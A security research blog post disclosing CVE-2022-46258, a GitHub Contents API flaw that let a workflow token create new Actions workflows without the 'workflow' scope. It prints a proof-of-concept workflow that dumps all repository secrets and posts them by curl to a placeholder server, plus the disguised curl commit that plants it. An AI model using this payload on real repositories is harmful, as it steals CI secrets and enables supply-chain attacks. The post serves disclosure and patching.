Cycode Discovers a Vulnerability in GitHub API Authorization – CVE-2022-46258

user profile
Head of Security Research

TL;DR

Cycode Labs discovered a vulnerability in Github’s API in which GitHub Actions workflows could be created without the necessary “workflow” scope authorization. This was responsibly reported to GitHub security teams and fixed eventually. As workflows have access to sensitive build secrets and access tokens, this vulnerability directly affects the software supply chain, potentially exposing the cloud and production environment.

The vulnerability, identified as CVE-2022-46258, relates to how GitHub handles permissions for modifying files in repositories through its API and has a CVSS rating of 6.5. This discovery has a direct relationship with our previous research in which we showed that GitHub Actions builds can be hijacked and that this primitive can be used to create new actions in order to steal sensitive secrets from the build.

GitHub Cloud users don’t need to take any action since the vulnerability fix has already been introduced, whereas GitHub Enterprise Server users will have to apply the patch manually.

Vulnerability Details

GitHub Contents API

The GitHub Contents API allows developers to access and manipulate the contents of a repository on GitHub. This API allows developers to read, create, update, and delete files and directories within a repository. 

The Github Contents API also allows developers to create and manage releases and git tags. It can also be used in combination with other GitHub APIs, such as pull request API, to automate tasks.

Workflow Token

A workflow token, also known as a GITHUB_TOKEN, is an access token that is used to authenticate and authorize actions taken by GitHub Actions. For every workflow run, GitHub creates a unique and temporary token to perform tasks such as creating new issues or committing code.

It is also worth noting that the GITHUB_TOKEN has a limited scope, which means it can only be used to perform specific actions within the repository.

Limiting Workflow Token

If we try to use the described workflow token to commit code with default permissions, we will succeed. However, when we try to commit a file into the .github/workflows directory, hence create a new GitHub Actions workflow, we will fail with the following error messages:

runner@fv-az575-76:~/work/<REPO_REDACTED>/<REPO_REDACTED>$ git add .github/workflows/new_workflow.yaml
runner@fv-az575-76:~/work/<REPO_REDACTED>/<REPO_REDACTED>$ git commit -m "new workflow"
[main 32475cd] new workflow
 1 file changed, 1 insertion(+)
 create mode 100644 .github/workflows/new_workflow.yaml
runner@fv-az575-76:~/work/<REPO_REDACTED>/<REPO_REDACTED>$ git push origin main
Enumerating objects: 8, done.
Counting objects: 100% (8/8), done.
Delta compression using up to 2 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (5/5), 407 bytes | 407.00 KiB/s, done.
Total 5 (delta 1), reused 0 (delta 0), pack-reused 0
remote: Resolving deltas: 100% (1/1), completed with 1 local object.
To <https://github.com/><ORG_REDACTED/<REPO_REDACTED>
 ! [remote rejected] main -> main (refusing to allow a GitHub App to create or update workflow `.github/workflows/new_workflow.yaml` without `workflows` permission)
error: failed to push some refs to '<https://github.com/><ORG_REDACTED>/<REPO_REDACTED>'

The workflow token assigned for each workflow is not capable of receiving the mentioned “workflows” permissions, resulting in limiting the possible consequences of malicious workflows.

CVE-2022-46258

We discovered a vulnerability that allows the creation of new workflows in the repository using the workflow token without the “workflow” permissions by using the Contents API.

An example of the usage of “workflow” scope could be seen when creating a new Personal Access Token (PAT) in GitHub settings, we can choose several scopes for the created token:

Creating a token with only repo scope (without assigning it the “workflow” scope) will give enough permissions to edit and create new workflows.

What is the impact?

Although the risks may seem minimal for Personal Access Tokens, which typically receive a lot of permissions, they are much greater for GitHub Actions.

The temporary workflow token, GITHUB_TOKEN, is unable to receive “workflow” scope permissions by design, to limit possible consequences of hijacking an existing workflow. This incorrect authorization vulnerability has allowed any workflow to create additional workflows and de-facto escalate its privileges, including receiving access to all the encrypted secrets stored in GitHub Actions, which are accessible solely to privileged workflows.

Let’s see how this could be implemented – using GITHUB_TOKEN, a workflow could create a new workflow that looks the following:

name: Exposing ALL Secrets

on:
  workflow_run:
    workflows: [“Vuln”]

jobs:
  expose_secrets:
     runs-on: ubuntu-latest
     steps:
       - run: |
           echo “${{ toJSON(secrets) }}” > .secrets
           curl -X POST –data “@.secrets” <SERVER_URL>

The workflow could be committed to the repository by exploiting the mentioned vulnerability with the following API invocation:

$ curl \
    -X PUT \
    -H “Accept: application/vnd.github.v3+json” \
    -H “Authorization: Token $GITHUB_TOKEN” \
    -d ‘{“message”: “innocent commit message”,“committer”:{“name”:”MaintainerName”,“email”:”maintainer@gmail.com”}, “content”:”bmFtZTogRXhwb...=”}’ \
    https://api.github.com/repos/<REPO_OWNER>/<REPO_NAME>/contents/.github/workflows/innocent_workflow.yml

Running it will result in sending all secrets used within the repository and organization in GitHub Actions, including cloud tokens and artifactory tokens. Malicious usage of these tokens could lead to severe supply-chain attacks.

What should I do next?

If you are using GitHub Cloud (hosted by GitHub), you don’t need to worry because GitHub has already fixed the vulnerability. If you are using a self-hosted GitHub Enterprise Server, you should update to the latest non-vulnerable version, as instructed by GitHub – the vulnerability applies for GitHub Enterprise Server versions before 3.7 and is fixed in versions 3.3.16, 3.4.11, 3.5.8, and 3.6.4.

Final Notes

We wish to thank GitHub – that despite of marking the initial report as informational, they acknowledged their mistakes, approved the report, and fixed the issue. It takes a lot of effort to maintain bug bounty programs, but it pays off by making our systems much more secure as a result.

Disclosure Timeline

March 10, 2022 – We sent a detailed report to GitHub through HackerOne explaining the vulnerability

March 14, 2022 – GitHub stated the behavior in the report works as expected and closed the report

January 09, 2023 – GitHub reported a new CVE-2022-46258 for the vulnerability

January 15, 2023 – We sent an additional report to GitHub through HackerOne, requesting additional information on why our previous report was declined

January 26, 2023 – GitHub responded that they re-investigated our initial report and confirmed that it was a valid vulnerability they mistakenly overlooked. They granted 4000$ bounty and assigned CVE-2022-46258 to our researchers

Originally published: January 30, 2023